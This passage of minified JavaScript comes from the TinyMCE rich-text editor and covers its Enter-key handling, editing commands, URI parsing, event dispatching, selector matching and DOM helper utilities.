if(s[t.nodeName]){if("_mce_caret"==t.id)continue;i=t.cloneNode(!1),a.setAttrib(i,"id",""),n.hasChildNodes()?(i.appendChild(n.firstChild),n.appendChild(i)):(o=i,n.appendChild(i))}while(t=t.parentNode);return r||(o.innerHTML='<br data-mce-bogus="1">'),n}function y(t){var n,r,i;if(3==T.nodeType&&(t?R>0:R<T.nodeValue.length))return!1;if(T.parentNode==A&&F&&!t)return!0;if(t&&1==T.nodeType&&T==A.firstChild)return!0;if("TABLE"===T.nodeName||T.previousSibling&&"TABLE"==T.previousSibling.nodeName)return F&&!t||!F&&t;for(n=new e(T,A),3==T.nodeType&&(t&&0===R?n.prev():t||R!=T.nodeValue.length||n.next());r=n.current();){if(1===r.nodeType){if(!r.getAttribute("data-mce-bogus")&&(i=r.nodeName.toLowerCase(),d[i]&&"br"!==i))return!1}else if(3===r.nodeType&&!/^[ \t\r\n]*$/.test(r.nodeValue))return!1;t?n.prev():n.next()}return!0}function b(e,t){var n,r,o,s,l,c,d=I||"P";if(r=a.getParent(e,a.isBlock),c=i.getBody().nodeName.toLowerCase(),!r||!f(r)){if(r=r||S,!r.hasChildNodes())return n=a.create(d),g(n),r.appendChild(n),N.setStart(n,0),N.setEnd(n,0),n;for(s=e;s.parentNode!=r;)s=s.parentNode;for(;s&&!a.isBlock(s);)o=s,s=s.previousSibling;if(o&&u.isValidChild(c,d.toLowerCase())){for(n=a.create(d),g(n),o.parentNode.insertBefore(n,o),s=o;s&&!a.isBlock(s);)l=s.nextSibling,n.appendChild(s),s=l;N.setStart(e,t),N.setEnd(e,t)}}return e}function C(){function e(e){for(var t=M[e?"firstChild":"lastChild"];t&&1!=t.nodeType;)t=t[e?"nextSibling":"previousSibling"];return t===A}function t(){var e=M.parentNode;return/^(LI|DT|DD)$/.test(e.nodeName)?e:M}var n=M.parentNode.nodeName;/^(OL|UL|LI)$/.test(n)&&(I="LI"),L=I?v(I):a.create("BR"),e(!0)&&e()?"LI"==n?a.insertAfter(L,t()):a.replace(L,M):e(!0)?"LI"==n?(a.insertAfter(L,t()),L.appendChild(a.doc.createTextNode(" ")),L.appendChild(M)):M.parentNode.insertBefore(L,M):e()?(a.insertAfter(L,t()),p(L)):(M=t(),k=N.cloneRange(),k.setStartAfter(A),k.setEndAfter(M),H=k.extractContents(),"LI"==I&&"LI"==H.firstChild.nodeName?(L=H.firstChild,a.insertAfter(H,M)):(a.insertAfter(H,M),a.insertAfter(L,M))),a.remove(A),m(L),c.add()}function x(){i.execCommand("InsertLineBreak",!1,o)}function w(e){do 3===e.nodeType&&(e.nodeValue=e.nodeValue.replace(/^[\r\n]+/,"")),e=e.firstChild;while(e)}function _(e){var t=a.getRoot(),n,r;for(n=e;n!==t&&"false"!==a.getContentEditable(n);)"true"===a.getContentEditable(n)&&(r=n),n=n.parentNode;return n!==t?r:t}function E(e){var t;r||(e.normalize(),t=e.lastChild,(!t||/^(left|right)$/gi.test(a.getStyle(t,"float",!0)))&&a.add(e,"br"))}var N,k,S,T,R,A,B,D,L,H,M,P,O,I,F;if(N=s.getRng(!0),!o.isDefaultPrevented()){if(!N.collapsed)return void i.execCommand("Delete");if(new t(a).normalize(N),T=N.startContainer,R=N.startOffset,I=(l.force_p_newlines?"p":"")||l.forced_root_block,I=I?I.toUpperCase():"",B=a.doc.documentMode,D=o.shiftKey,1==T.nodeType&&T.hasChildNodes()&&(F=R>T.childNodes.length-1,T=T.childNodes[Math.min(R,T.childNodes.length-1)]||T,R=F&&3==T.nodeType?T.nodeValue.length:0),S=_(T)){if(c.beforeChange(),!a.isBlock(S)&&S!=a.getRoot())return void((!I||D)&&x());if((I&&!D||!I&&D)&&(T=b(T,R)),A=a.getParent(T,a.isBlock),M=A?a.getParent(A.parentNode,a.isBlock):null,P=A?A.nodeName.toUpperCase():"",O=M?M.nodeName.toUpperCase():"","LI"!=O||o.ctrlKey||(A=M,P=O),/^(LI|DT|DD)$/.test(P)){if(!I&&D)return void x();if(a.isEmpty(A))return void C()}if("PRE"==P&&l.br_in_pre!==!1){if(!D)return void x()}else if(!I&&!D&&"LI"!=P||I&&D)return void x();I&&A===i.getBody()||(I=I||"P",y()?(L=/^(H[1-6]|PRE|FIGURE)$/.test(P)&&"HGROUP"!=O?v(I):v(),l.end_container_on_empty_block&&f(M)&&a.isEmpty(A)?L=a.split(M,A):a.insertAfter(L,A),m(L)):y(!0)?(L=A.parentNode.insertBefore(v(),A),p(L),m(A)):(k=N.cloneRange(),k.setEndAfter(A),H=k.extractContents(),w(H),L=H.firstChild,a.insertAfter(H,A),h(L),E(A),m(L)),a.setAttrib(L,"id",""),i.fire("NewBlock",{newBlock:L}),c.add())}}}var a=i.dom,s=i.selection,l=i.settings,c=i.undoManager,u=i.schema,d=u.getNonEmptyElements();i.on("keydown",function(e){13==e.keyCode&&o(e)!==!1&&e.preventDefault()})}}),r(z,[],function(){return function(e){function t(){var t=i.getStart(),s=e.getBody(),l,c,u,d,f,p,h,m=-16777215,g,v,y,b,C;if(C=n.forced_root_block,t&&1===t.nodeType&&C){for(;t&&t!=s;){if(a[t.nodeName])return;t=t.parentNode}if(l=i.getRng(),l.setStart){c=l.startContainer,u=l.startOffset,d=l.endContainer,f=l.endOffset;try{v=e.getDoc().activeElement===s}catch(x){}}else l.item&&(t=l.item(0),l=e.getDoc().body.createTextRange(),l.moveToElementText(t)),v=l.parentElement().ownerDocument===e.getDoc(),y=l.duplicate(),y.collapse(!0),u=-1*y.move("character",m),y.collapsed||(y=l.duplicate(),y.collapse(!1),f=-1*y.move("character",m)-u);for(t=s.firstChild,b=s.nodeName.toLowerCase();t;)if((3===t.nodeType||1==t.nodeType&&!a[t.nodeName])&&o.isValidChild(b,C.toLowerCase())){if(3===t.nodeType&&0===t.nodeValue.length){h=t,t=t.nextSibling,r.remove(h);continue}p||(p=r.create(C,e.settings.forced_root_block_attrs),t.parentNode.insertBefore(p,t),g=!0),h=t,t=t.nextSibling,p.appendChild(h)}else p=null,t=t.nextSibling;if(g&&v){if(l.setStart)l.setStart(c,u),l.setEnd(d,f),i.setRng(l);else try{l=e.getDoc().body.createTextRange(),l.moveToElementText(s),l.collapse(!0),l.moveStart("character",u),f>0&&l.moveEnd("character",f),l.select()}catch(x){}e.nodeChanged()}}}var n=e.settings,r=e.dom,i=e.selection,o=e.schema,a=o.getBlockElements();n.forced_root_block&&e.on("NodeChange",t)}}),r(W,[T,u,d,M,x,h],function(e,n,r,i,o,a){var s=r.each,l=r.extend,c=r.map,u=r.inArray,d=r.explode,f=n.gecko,p=n.ie,h=n.ie&&n.ie<11,m=!0,g=!1;return function(r){function v(e,t,n){var r;return e=e.toLowerCase(),(r=T.exec[e])?(r(e,t,n),m):g}function y(e){var t;return e=e.toLowerCase(),(t=T.state[e])?t(e):-1}function b(e){var t;return e=e.toLowerCase(),(t=T.value[e])?t(e):g}function C(e,t){t=t||"exec",s(e,function(e,n){s(n.toLowerCase().split(","),function(n){T[t][n]=e})})}function x(e,n,i){return n===t&&(n=g),i===t&&(i=null),r.getDoc().execCommand(e,n,i)}function w(e){return A.match(e)}function _(e,n){A.toggle(e,n?{value:n}:t),r.nodeChanged()}function E(e){B=S.getBookmark(e)}function N(){S.moveToBookmark(B)}var k=r.dom,S=r.selection,T={state:{},exec:{},value:{}},R=r.settings,A=r.formatter,B;l(this,{execCommand:v,queryCommandState:y,queryCommandValue:b,addCommands:C}),C({"mceResetDesignMode,mceBeginUndoLevel":function(){},"mceEndUndoLevel,mceAddUndoLevel":function(){r.undoManager.add()},"Cut,Copy,Paste":function(e){var t=r.getDoc(),i;try{x(e)}catch(o){i=m}if(i||!t.queryCommandSupported(e)){var a=r.translate("Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X/C/V keyboard shortcuts instead.");n.mac&&(a=a.replace(/Ctrl\+/g,"\u2318+")),r.windowManager.alert(a)}},unlink:function(){if(S.isCollapsed()){var e=S.getNode();return void("A"==e.tagName&&r.dom.remove(e,!0))}A.remove("link")},"JustifyLeft,JustifyCenter,JustifyRight,JustifyFull":function(e){var t=e.substring(7);"full"==t&&(t="justify"),s("left,center,right,justify".split(","),function(e){t!=e&&A.remove("align"+e)}),_("align"+t),v("mceRepaint")
+},"InsertUnorderedList,InsertOrderedList":function(e){var t,n;x(e),t=k.getParent(S.getNode(),"ol,ul"),t&&(n=t.parentNode,/^(H[1-6]|P|ADDRESS|PRE)$/.test(n.nodeName)&&(E(),k.split(n,t),N()))},"Bold,Italic,Underline,Strikethrough,Superscript,Subscript":function(e){_(e)},"ForeColor,HiliteColor,FontName":function(e,t,n){_(e,n)},FontSize:function(e,t,n){var r,i;n>=1&&7>=n&&(i=d(R.font_size_style_values),r=d(R.font_size_classes),n=r?r[n-1]||n:i[n-1]||n),_(e,n)},RemoveFormat:function(e){A.remove(e)},mceBlockQuote:function(){_("blockquote")},FormatBlock:function(e,t,n){return _(n||"p")},mceCleanup:function(){var e=S.getBookmark();r.setContent(r.getContent({cleanup:m}),{cleanup:m}),S.moveToBookmark(e)},mceRemoveNode:function(e,t,n){var i=n||S.getNode();i!=r.getBody()&&(E(),r.dom.remove(i,m),N())},mceSelectNodeDepth:function(e,t,n){var i=0;k.getParent(S.getNode(),function(e){return 1==e.nodeType&&i++==n?(S.select(e),g):void 0},r.getBody())},mceSelectNode:function(e,t,n){S.select(n)},mceInsertContent:function(t,n,o){function a(e){function t(e){return r[e]&&3==r[e].nodeType}var n,r,i;return n=S.getRng(!0),r=n.startContainer,i=n.startOffset,3==r.nodeType&&(i>0?e=e.replace(/^&nbsp;/," "):t("previousSibling")||(e=e.replace(/^ /,"&nbsp;")),i<r.length?e=e.replace(/&nbsp;(<br>|)$/," "):t("nextSibling")||(e=e.replace(/(&nbsp;| )(<br>|)$/,"&nbsp;"))),e}function l(e){if(w)for(b=e.firstChild;b;b=b.walk(!0))_[b.name]&&b.attr("data-mce-new","true")}function c(){if(w){var e=r.getBody(),t=new i(k);s(k.select("*[data-mce-new]"),function(n){n.removeAttribute("data-mce-new");for(var r=n.parentNode;r&&r!=e;r=r.parentNode)t.compare(r,n)&&k.remove(n,!0)})}}var u,d,f,h,m,g,v,y,b,C,x,w,_=r.schema.getTextInlineElements();"string"!=typeof o&&(w=o.merge,o=o.content),/^ | $/.test(o)&&(o=a(o)),u=r.parser,d=new e({},r.schema),x='<span id="mce_marker" data-mce-type="bookmark">&#xFEFF;&#x200B;</span>',g={content:o,format:"html",selection:!0},r.fire("BeforeSetContent",g),o=g.content,-1==o.indexOf("{$caret}")&&(o+="{$caret}"),o=o.replace(/\{\$caret\}/,x),y=S.getRng();var E=y.startContainer||(y.parentElement?y.parentElement():null),N=r.getBody();E===N&&S.isCollapsed()&&k.isBlock(N.firstChild)&&k.isEmpty(N.firstChild)&&(y=k.createRng(),y.setStart(N.firstChild,0),y.setEnd(N.firstChild,0),S.setRng(y)),S.isCollapsed()||r.getDoc().execCommand("Delete",!1,null),f=S.getNode();var T={context:f.nodeName.toLowerCase()};if(m=u.parse(o,T),l(m),b=m.lastChild,"mce_marker"==b.attr("id"))for(v=b,b=b.prev;b;b=b.walk(!0))if(3==b.type||!k.isBlock(b.name)){r.schema.isValidChild(b.parent.name,"span")&&b.parent.insert(v,b,"br"===b.name);break}if(T.invalid){for(S.setContent(x),f=S.getNode(),h=r.getBody(),9==f.nodeType?f=b=h:b=f;b!==h;)f=b,b=b.parentNode;o=f==h?h.innerHTML:k.getOuterHTML(f),o=d.serialize(u.parse(o.replace(/<span (id="mce_marker"|id=mce_marker).+?<\/span>/i,function(){return d.serialize(m)}))),f==h?k.setHTML(h,o):k.setOuterHTML(f,o)}else o=d.serialize(m),b=f.firstChild,C=f.lastChild,!b||b===C&&"BR"===b.nodeName?k.setHTML(f,o):S.setContent(o);c(),v=k.get("mce_marker"),S.scrollIntoView(v),y=k.createRng(),b=v.previousSibling,b&&3==b.nodeType?(y.setStart(b,b.nodeValue.length),p||(C=v.nextSibling,C&&3==C.nodeType&&(b.appendData(C.data),C.parentNode.removeChild(C)))):(y.setStartBefore(v),y.setEndBefore(v)),k.remove(v),S.setRng(y),r.fire("SetContent",g),r.addVisual()},mceInsertRawHTML:function(e,t,n){S.setContent("tiny_mce_marker"),r.setContent(r.getContent().replace(/tiny_mce_marker/g,function(){return n}))},mceToggleFormat:function(e,t,n){_(n)},mceSetContent:function(e,t,n){r.setContent(n)},"Indent,Outdent":function(e){var t,n,i;t=R.indentation,n=/[a-z%]+$/i.exec(t),t=parseInt(t,10),y("InsertUnorderedList")||y("InsertOrderedList")?x(e):(R.forced_root_block||k.getParent(S.getNode(),k.isBlock)||A.apply("div"),s(S.getSelectedBlocks(),function(o){if("LI"!=o.nodeName){var a=r.getParam("indent_use_margin",!1)?"margin":"padding";a+="rtl"==k.getStyle(o,"direction",!0)?"Right":"Left","outdent"==e?(i=Math.max(0,parseInt(o.style[a]||0,10)-t),k.setStyle(o,a,i?i+n:"")):(i=parseInt(o.style[a]||0,10)+t+n,k.setStyle(o,a,i))}}))},mceRepaint:function(){if(f)try{E(m),S.getSel()&&S.getSel().selectAllChildren(r.getBody()),S.collapse(m),N()}catch(e){}},InsertHorizontalRule:function(){r.execCommand("mceInsertContent",!1,"<hr />")},mceToggleVisualAid:function(){r.hasVisual=!r.hasVisual,r.addVisual()},mceReplaceContent:function(e,t,n){r.execCommand("mceInsertContent",!1,n.replace(/\{\$selection\}/g,S.getContent({format:"text"})))},mceInsertLink:function(e,t,n){var r;"string"==typeof n&&(n={href:n}),r=k.getParent(S.getNode(),"a"),n.href=n.href.replace(" ","%20"),r&&n.href||A.remove("link"),n.href&&A.apply("link",n,r)},selectAll:function(){var e=k.getRoot(),t;S.getRng().setStart?(t=k.createRng(),t.setStart(e,0),t.setEnd(e,e.childNodes.length),S.setRng(t)):(t=S.getRng(),t.item||(t.moveToElementText(e),t.select()))},"delete":function(){x("Delete");var e=r.getBody();k.isEmpty(e)&&(r.setContent(""),e.firstChild&&k.isBlock(e.firstChild)?r.selection.setCursorLocation(e.firstChild,0):r.selection.setCursorLocation(e,0))},mceNewDocument:function(){r.setContent("")},InsertLineBreak:function(e,t,n){function i(){for(var e=new a(p,v),t,n=r.schema.getNonEmptyElements();t=e.next();)if(n[t.nodeName.toLowerCase()]||t.length>0)return!0}var s=n,l,c,u,d=S.getRng(!0);new o(k).normalize(d);var f=d.startOffset,p=d.startContainer;if(1==p.nodeType&&p.hasChildNodes()){var g=f>p.childNodes.length-1;p=p.childNodes[Math.min(f,p.childNodes.length-1)]||p,f=g&&3==p.nodeType?p.nodeValue.length:0}var v=k.getParent(p,k.isBlock),y=v?v.nodeName.toUpperCase():"",b=v?k.getParent(v.parentNode,k.isBlock):null,C=b?b.nodeName.toUpperCase():"",x=s&&s.ctrlKey;"LI"!=C||x||(v=b,y=C),p&&3==p.nodeType&&f>=p.nodeValue.length&&(h||i()||(l=k.create("br"),d.insertNode(l),d.setStartAfter(l),d.setEndAfter(l),c=!0)),l=k.create("br"),d.insertNode(l);var w=k.doc.documentMode;return h&&"PRE"==y&&(!w||8>w)&&l.parentNode.insertBefore(k.doc.createTextNode("\r"),l),u=k.create("span",{},"&nbsp;"),l.parentNode.insertBefore(u,l),S.scrollIntoView(u),k.remove(u),c?(d.setStartBefore(l),d.setEndBefore(l)):(d.setStartAfter(l),d.setEndAfter(l)),S.setRng(d),r.undoManager.add(),m}}),C({"JustifyLeft,JustifyCenter,JustifyRight,JustifyFull":function(e){var t="align"+e.substring(7),n=S.isCollapsed()?[k.getParent(S.getNode(),k.isBlock)]:S.getSelectedBlocks(),r=c(n,function(e){return!!A.matchNode(e,t)});return-1!==u(r,m)},"Bold,Italic,Underline,Strikethrough,Superscript,Subscript":function(e){return w(e)},mceBlockQuote:function(){return w("blockquote")},Outdent:function(){var e;if(R.inline_styles){if((e=k.getParent(S.getStart(),k.isBlock))&&parseInt(e.style.paddingLeft,10)>0)return m;if((e=k.getParent(S.getEnd(),k.isBlock))&&parseInt(e.style.paddingLeft,10)>0)return m}return y("InsertUnorderedList")||y("InsertOrderedList")||!R.inline_styles&&!!k.getParent(S.getNode(),"BLOCKQUOTE")},"InsertUnorderedList,InsertOrderedList":function(e){var t=k.getParent(S.getNode(),"ul,ol");return t&&("insertunorderedlist"===e&&"UL"===t.tagName||"insertorderedlist"===e&&"OL"===t.tagName)}},"state"),C({"FontSize,FontName":function(e){var t=0,n;return(n=k.getParent(S.getNode(),"span"))&&(t="fontsize"==e?n.style.fontSize:n.style.fontFamily.replace(/, /g,",").replace(/[\'\"]/g,"").toLowerCase()),t}},"value"),C({Undo:function(){r.undoManager.undo()},Redo:function(){r.undoManager.redo()}})}}),r(V,[d],function(e){function t(e,o){var a=this,s,l;if(e=r(e),o=a.settings=o||{},s=o.base_uri,/^([\w\-]+):([^\/]{2})/i.test(e)||/^\s*#/.test(e))return void(a.source=e);var c=0===e.indexOf("//");0!==e.indexOf("/")||c||(e=(s?s.protocol||"http":"http")+"://mce_host"+e),/^[\w\-]*:?\/\//.test(e)||(l=o.base_uri?o.base_uri.path:new t(location.href).directory,""===o.base_uri.protocol?e="//mce_host"+a.toAbsPath(l,e):(e=/([^#?]*)([#?]?.*)/.exec(e),e=(s&&s.protocol||"http")+"://mce_host"+a.toAbsPath(l,e[1])+e[2])),e=e.replace(/@@/g,"(mce_at)"),e=/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(e),n(i,function(t,n){var r=e[n];r&&(r=r.replace(/\(mce_at\)/g,"@@")),a[t]=r}),s&&(a.protocol||(a.protocol=s.protocol),a.userInfo||(a.userInfo=s.userInfo),a.port||"mce_host"!==a.host||(a.port=s.port),a.host&&"mce_host"!==a.host||(a.host=s.host),a.source=""),c&&(a.protocol="")}var n=e.each,r=e.trim,i="source protocol authority userInfo user password host port relative path directory file query anchor".split(" "),o={ftp:21,http:80,https:443,mailto:25};return t.prototype={setPath:function(e){var t=this;e=/^(.*?)\/?(\w+)?$/.exec(e),t.path=e[0],t.directory=e[1],t.file=e[2],t.source="",t.getURI()},toRelative:function(e){var n=this,r;if("./"===e)return e;if(e=new t(e,{base_uri:n}),"mce_host"!=e.host&&n.host!=e.host&&e.host||n.port!=e.port||n.protocol!=e.protocol&&""!==e.protocol)return e.getURI();var i=n.getURI(),o=e.getURI();return i==o||"/"==i.charAt(i.length-1)&&i.substr(0,i.length-1)==o?i:(r=n.toRelPath(n.path,e.path),e.query&&(r+="?"+e.query),e.anchor&&(r+="#"+e.anchor),r)},toAbsolute:function(e,n){return e=new t(e,{base_uri:this}),e.getURI(n&&this.isSameOrigin(e))},isSameOrigin:function(e){if(this.host==e.host&&this.protocol==e.protocol){if(this.port==e.port)return!0;var t=o[this.protocol];if(t&&(this.port||t)==(e.port||t))return!0}return!1},toRelPath:function(e,t){var n,r=0,i="",o,a;if(e=e.substring(0,e.lastIndexOf("/")),e=e.split("/"),n=t.split("/"),e.length>=n.length)for(o=0,a=e.length;a>o;o++)if(o>=n.length||e[o]!=n[o]){r=o+1;break}if(e.length<n.length)for(o=0,a=n.length;a>o;o++)if(o>=e.length||e[o]!=n[o]){r=o+1;break}if(1===r)return t;for(o=0,a=e.length-(r-1);a>o;o++)i+="../";for(o=r-1,a=n.length;a>o;o++)i+=o!=r-1?"/"+n[o]:n[o];return i},toAbsPath:function(e,t){var r,i=0,o=[],a,s;for(a=/\/$/.test(t)?"/":"",e=e.split("/"),t=t.split("/"),n(e,function(e){e&&o.push(e)}),e=o,r=t.length-1,o=[];r>=0;r--)0!==t[r].length&&"."!==t[r]&&(".."!==t[r]?i>0?i--:o.push(t[r]):i++);return r=e.length-i,s=0>=r?o.reverse().join("/"):e.slice(0,r).join("/")+"/"+o.reverse().join("/"),0!==s.indexOf("/")&&(s="/"+s),a&&s.lastIndexOf("/")!==s.length-1&&(s+=a),s},getURI:function(e){var t,n=this;return(!n.source||e)&&(t="",e||(t+=n.protocol?n.protocol+"://":"//",n.userInfo&&(t+=n.userInfo+"@"),n.host&&(t+=n.host),n.port&&(t+=":"+n.port)),n.path&&(t+=n.path),n.query&&(t+="?"+n.query),n.anchor&&(t+="#"+n.anchor),n.source=t),n.source}},t}),r(U,[d],function(e){function t(){}var n=e.each,r=e.extend,i,o;return t.extend=i=function(e){function t(){var e,t,n,r=this;if(!o&&(r.init&&r.init.apply(r,arguments),t=r.Mixins))for(e=t.length;e--;)n=t[e],n.init&&n.init.apply(r,arguments)}function a(){return this}function s(e,t){return function(){var n=this,r=n._super,i;return n._super=c[e],i=t.apply(n,arguments),n._super=r,i}}var l=this,c=l.prototype,u,d,f;o=!0,u=new l,o=!1,e.Mixins&&(n(e.Mixins,function(t){t=t;for(var n in t)"init"!==n&&(e[n]=t[n])}),c.Mixins&&(e.Mixins=c.Mixins.concat(e.Mixins))),e.Methods&&n(e.Methods.split(","),function(t){e[t]=a}),e.Properties&&n(e.Properties.split(","),function(t){var n="_"+t;e[t]=function(e){var t=this,r;return e!==r?(t[n]=e,t):t[n]}}),e.Statics&&n(e.Statics,function(e,n){t[n]=e}),e.Defaults&&c.Defaults&&(e.Defaults=r({},c.Defaults,e.Defaults));for(d in e)f=e[d],u[d]="function"==typeof f&&c[d]?s(d,f):f;return t.prototype=u,t.constructor=t,t.extend=i,t},t}),r($,[d],function(e){function t(t){function n(){return!1}function r(){return!0}function i(e,i){var o,s,l,c;if(e=e.toLowerCase(),i=i||{},i.type=e,i.target||(i.target=u),i.preventDefault||(i.preventDefault=function(){i.isDefaultPrevented=r},i.stopPropagation=function(){i.isPropagationStopped=r},i.stopImmediatePropagation=function(){i.isImmediatePropagationStopped=r},i.isDefaultPrevented=n,i.isPropagationStopped=n,i.isImmediatePropagationStopped=n),t.beforeFire&&t.beforeFire(i),o=d[e])for(s=0,l=o.length;l>s;s++){if(c=o[s],c.once&&a(e,c.func),i.isImmediatePropagationStopped())return i.stopPropagation(),i;if(c.func.call(u,i)===!1)return i.preventDefault(),i}return i}function o(t,r,i,o){var a,s,l;if(r===!1&&(r=n),r)for(r={func:r},o&&e.extend(r,o),s=t.toLowerCase().split(" "),l=s.length;l--;)t=s[l],a=d[t],a||(a=d[t]=[],f(t,!0)),i?a.unshift(r):a.push(r);return c}function a(e,t){var n,r,i,o,a;if(e)for(o=e.toLowerCase().split(" "),n=o.length;n--;){if(e=o[n],r=d[e],!e){for(i in d)f(i,!1),delete d[i];return c}if(r){if(t)for(a=r.length;a--;)r[a].func===t&&(r=r.slice(0,a).concat(r.slice(a+1)),d[e]=r);else r.length=0;r.length||(f(e,!1),delete d[e])}}else{for(e in d)f(e,!1);d={}}return c}function s(e,t,n){return o(e,t,n,{once:!0})}function l(e){return e=e.toLowerCase(),!(!d[e]||0===d[e].length)}var c=this,u,d={},f;t=t||{},u=t.scope||c,f=t.toggleEvent||n,c.fire=i,c.on=o,c.off=a,c.once=s,c.has=l}var n=e.makeMap("focus blur focusin focusout click dblclick mousedown mouseup mousemove mouseover beforepaste paste cut copy selectionchange mouseout mouseenter mouseleave wheel keydown keypress keyup input contextmenu dragstart dragend dragover draggesture dragdrop drop drag submit compositionstart compositionend compositionupdate touchstart touchend"," ");return t.isNative=function(e){return!!n[e.toLowerCase()]},t}),r(q,[U],function(e){function t(e){for(var t=[],n=e.length,r;n--;)r=e[n],r.__checked||(t.push(r),r.__checked=1);for(n=t.length;n--;)delete t[n].__checked;return t}var n=/^([\w\\*]+)?(?:#([\w\\]+))?(?:\.([\w\\\.]+))?(?:\[\@?([\w\\]+)([\^\$\*!~]?=)([\w\\]+)\])?(?:\:(.+))?/i,r=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,i=/^\s*|\s*$/g,o,a=e.extend({init:function(e){function t(e){return e?(e=e.toLowerCase(),function(t){return"*"===e||t.type===e}):void 0}function o(e){return e?function(t){return t._name===e}:void 0}function a(e){return e?(e=e.split("."),function(t){for(var n=e.length;n--;)if(!t.hasClass(e[n]))return!1;return!0}):void 0}function s(e,t,n){return e?function(r){var i=r[e]?r[e]():"";return t?"="===t?i===n:"*="===t?i.indexOf(n)>=0:"~="===t?(" "+i+" ").indexOf(" "+n+" ")>=0:"!="===t?i!=n:"^="===t?0===i.indexOf(n):"$="===t?i.substr(i.length-n.length)===n:!1:!!n}:void 0}function l(e){var t;return e?(e=/(?:not\((.+)\))|(.+)/i.exec(e),e[1]?(t=u(e[1],[]),function(e){return!d(e,t)}):(e=e[2],function(t,n,r){return"first"===e?0===n:"last"===e?n===r-1:"even"===e?n%2===0:"odd"===e?n%2===1:t[e]?t[e]():!1})):void 0}function c(e,r,c){function u(e){e&&r.push(e)}var d;return d=n.exec(e.replace(i,"")),u(t(d[1])),u(o(d[2])),u(a(d[3])),u(s(d[4],d[5],d[6])),u(l(d[7])),r.psuedo=!!d[7],r.direct=c,r}function u(e,t){var n=[],i,o,a;do if(r.exec(""),o=r.exec(e),o&&(e=o[3],n.push(o[1]),o[2])){i=o[3];break}while(o);for(i&&u(i,t),e=[],a=0;a<n.length;a++)">"!=n[a]&&e.push(c(n[a],[],">"===n[a-1]));return t.push(e),t}var d=this.match;this._selectors=u(e,[])},match:function(e,t){var n,r,i,o,a,s,l,c,u,d,f,p,h;for(t=t||this._selectors,n=0,r=t.length;r>n;n++){for(a=t[n],o=a.length,h=e,p=0,i=o-1;i>=0;i--)for(c=a[i];h;){if(c.psuedo)for(f=h.parent().items(),u=d=f.length;u--&&f[u]!==h;);for(s=0,l=c.length;l>s;s++)if(!c[s](h,u,d)){s=l+1;break}if(s===l){p++;break}if(i===o-1)break;h=h.parent()}if(p===o)return!0}return!1},find:function(e){function n(e,t,i){var o,a,s,l,c,u=t[i];for(o=0,a=e.length;a>o;o++){for(c=e[o],s=0,l=u.length;l>s;s++)if(!u[s](c,o,a)){s=l+1;break}if(s===l)i==t.length-1?r.push(c):c.items&&n(c.items(),t,i+1);else if(u.direct)return;c.items&&n(c.items(),t,i)}}var r=[],i,s,l=this._selectors;if(e.items){for(i=0,s=l.length;s>i;i++)n(e.items(),l[i],0);s>1&&(r=t(r))}return o||(o=a.Collection),new o(r)}});return a}),r(j,[d,q,U],function(e,t,n){var r,i,o=Array.prototype.push,a=Array.prototype.slice;return i={length:0,init:function(e){e&&this.add(e)},add:function(t){var n=this;return e.isArray(t)?o.apply(n,t):t instanceof r?n.add(t.toArray()):o.call(n,t),n},set:function(e){var t=this,n=t.length,r;for(t.length=0,t.add(e),r=t.length;n>r;r++)delete t[r];return t},filter:function(e){var n=this,i,o,a=[],s,l;for("string"==typeof e?(e=new t(e),l=function(t){return e.match(t)}):l=e,i=0,o=n.length;o>i;i++)s=n[i],l(s)&&a.push(s);return new r(a)},slice:function(){return new r(a.apply(this,arguments))},eq:function(e){return-1===e?this.slice(e):this.slice(e,+e+1)},each:function(t){return e.each(this,t),this},toArray:function(){return e.toArray(this)},indexOf:function(e){for(var t=this,n=t.length;n--&&t[n]!==e;);return n},reverse:function(){return new r(e.toArray(this).reverse())},hasClass:function(e){return this[0]?this[0].hasClass(e):!1},prop:function(e,t){var n=this,r,i;return t!==r?(n.each(function(n){n[e]&&n[e](t)}),n):(i=n[0],i&&i[e]?i[e]():void 0)},exec:function(t){var n=this,r=e.toArray(arguments).slice(1);return n.each(function(e){e[t]&&e[t].apply(e,r)}),n},remove:function(){for(var e=this.length;e--;)this[e].remove();return this}},e.each("fire on off show hide addClass removeClass append prepend before after reflow".split(" "),function(t){i[t]=function(){var n=e.toArray(arguments);return this.each(function(e){t in e&&e[t].apply(e,n)}),this}}),e.each("text name disabled active selected checked visible parent value data".split(" "),function(e){i[e]=function(t){return this.prop(e,t)}}),r=n.extend(i),t.Collection=r,r}),r(Y,[d,y],function(e,t){var n=0;return{id:function(){return"mceu_"+n++},createFragment:function(e){return t.DOM.createFragment(e)},getWindowSize:function(){return t.DOM.getViewPort()},getSize:function(e){var t,n;if(e.getBoundingClientRect){var r=e.getBoundingClientRect();t=Math.max(r.width||r.right-r.left,e.offsetWidth),n=Math.max(r.height||r.bottom-r.bottom,e.offsetHeight)}else t=e.offsetWidth,n=e.offsetHeight;return{width:t,height:n}},getPos:function(e,n){return t.DOM.getPos(e,n)},getViewPort:function(e){return t.DOM.getViewPort(e)},get:function(e){return document.getElementById(e)},addClass:function(e,n){return t.DOM.addClass(e,n)},removeClass:function(e,n){return t.DOM.removeClass(e,n)},hasClass:function(e,n){return t.DOM.hasClass(e,n)},toggleClass:function(e,n,r){return t.DOM.toggleClass(e,n,r)},css:function(e,n,r){return t.DOM.setStyle(e,n,r)},getRuntimeStyle:function(e,n){return t.DOM.getStyle(e,n,!0)},on:function(e,n,r,i){return t.DOM.bind(e,n,r,i)},off:function(e,n,r){return t.DOM.unbind(e,n,r)},fire:function(e,n,r){return t.DOM.fire(e,n,r)},innerHtml:function(e,n){t.DOM.setHTML(e,n)}}}),r(K,[U,d,$,j,Y],function(e,t,n,r,i){function o(e){return e._eventDispatcher||(e._eventDispatcher=new n({scope:e,toggleEvent:function(t,r){r&&n.isNative(t)&&(e._nativeEvents||(e._nativeEvents={}),e._nativeEvents[t]=!0,e._rendered&&e.bindPendingEvents())}})),e._eventDispatcher}var a="onmousewheel"in document,s=!1,l="mce-",c=e.extend({Statics:{classPrefix:l},isRtl:function(){return 